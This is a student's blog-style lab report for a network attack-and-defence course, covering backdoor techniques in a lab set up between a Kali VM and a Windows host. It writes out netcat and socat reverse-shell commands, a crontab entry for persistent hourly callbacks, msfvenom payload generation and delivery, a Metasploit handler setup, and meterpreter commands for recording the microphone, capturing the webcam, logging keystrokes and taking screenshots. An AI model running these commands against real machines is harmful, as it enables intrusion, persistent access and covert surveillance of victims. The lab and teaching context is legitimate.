来啦,那就进来看看呗~

王麦齐先森の博客

不必行色匆匆,不必光芒四射,不必成为别人,只需做自己

20192401 王麦齐 《网络与系统攻防技术》实验二 后门原理与实践

一、实验内容

1、使用netcat和socat获取主机操作Shell,以成功启动某项任务作为实验成功的标准;
2、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
3、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
4、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、实验过程

实践一:使用netcat获取主机操作Shell

该实践首先需要获取Windows系统的ip地址,然后在windows的powershell(或者cmd等shell中)使用ncat的监听模式,再连接到kali系统中即可。
(1)使用netcat获取主机Shell,并cron启动某项任务。
首先测试主机与Kali虚拟机之间的连通性,如下图所示:


kali与主机的连通性

主机与kali机的连通性
接下来输入:


 ncat.exe -l -p 8888  # 开启监听模式,监听端口8888

打开Kali系统的终端,输入:


nc 192.168.43.201 8888 -e /bin/sh
# 把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell

如下图,即可获取Kali的shell,输入命令可以正常运行:

测试传递信息:

1.使用netcat获取主机操作Shell,cron启动

(1)在Linux下输入 crontab -e 添加cron任务区,选择编辑器3。

crontab -e 
crontab: installing new crontab
"/tmp/crontab.04YrRd/crontab":23: bad day-of-week
errors in crontab file, can't install.
Do you want to retry the same edit? (y/n) y
crontab: installing new crontab

在最后一行添加


23 * * * * /bin/netcat 192.168.43.201 8888 -e /bin/sh 

其中的23 * * * *代表的是时间,分别为分钟 小时 日期 月 周几,后面为要运行的命令
然后ctrl+X,选择Y Enter 保存并退出。(表示每小时的第23分钟反向链接Windows主机的8888端口)

此时输入ls操作可以唤出界面,由此我们得到了一个最为简易的后门,但是是乱码这个情况还要进一步探究。

2.使用socat获取主机操作Shell, 任务计划启动

(1)Windows->控制面板->管理工具->任务计划程序->创建任务


程序或脚本:socat的安装路径\socat\socat.exe
参数:tcp-listen:2401(本人学号) exec:cmd.exe,pty,stderr
此时虚拟机输入

┌──(wmq㉿kali)-[~]
└─$ socat - tcp:192.168.43.201:2401 


就此,我们获得了windows的shell

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(1)虚拟机生成可执行文件


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.60 LPORT=2401 -f exe > 20192401.exe

(2)传输后门程序

在Windows端cmd输入


ncat.exe -lv 2401 > 20192401.exe

使被控主机进入接收文件模式.
在Linux端输入


nc 192.168.43.60 2401 < 20192401.exe 

将生成的后门程序传送到主机上。

(3)MSF开始监听进程

在Linux上使用msfconsole 进入msf控制台依次输入


use exploit/multi/handler         //监听设置payload
set payload windows/meterpreter/reverse_tcp       
set LHOST 192.168.43.60  //虚拟机的IP地址
set LPORT 2401 //端口号
exploit    //监听Action

主机端运行后门程序,返回虚拟机发现已经获得主机端的shell:



我们键入ipconfig

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获得录音权限,后面的数字代表时间,8s
record_mic -d 8
获得摄像头权限
webcam_snap
获取击键记录
keyscan_start
keyscan_dump
获取截屏权限
screenshot
查看当前用户
getuid

下面是我的一些尝试


三、实验中遇到的问题及解决方法

问题一:在对应文件目录下,无法执行ncat

这个问题最开始很头疼,shell无法执行,但是cmd却可以

然后我再cmd中尝试时,却意外地可以启动ncat,但是每当执行
ncat.exe -l -p 8888的时候却一直处于“停止”的状态,键盘无法输入,但是却可以录入字符串,此时按下ctrl c中断此操作时会出现之前输入的字符,但是无法执行。
然后我积极的在网上寻找答案,胡乱配了一个环境变量,也没成功,不过话说回来,环境变量这个坑我也没填,到现在环境变量是啥我都不是很明白,赶紧解决!
后来我发现有个下面有个提示:

按照上面的操作,我恍然大悟,原来答案就在我身边,一定要多看suggestion!!!!

四、实验感受

作为一个电脑为家的大学生,见到虚拟机和cmd仍然头疼的很,这次在第一部ping的时候就很不顺利,后来在调试kali的网络设置时发现nat和桥接两个不同的策略,桥接类似于内部交流,而nat是走向外部的方式,从两台机子可以ping通开始,我就觉得没什么能难得到我,然后....ncat又在shell里面没法用,要不是解决的真的好想哭,最开始又是配环境变量又是瞎调试,百度和CSDN真的是衣食父母,最后感谢老师带我们进行了这次实验,用摄像头什么的真的太刺激了,还有录音哈哈哈哈,期待下一次实验!!

posted @ 2022-04-01 16:09  王麦齐20192401  阅读(83)  评论(0编辑  收藏  举报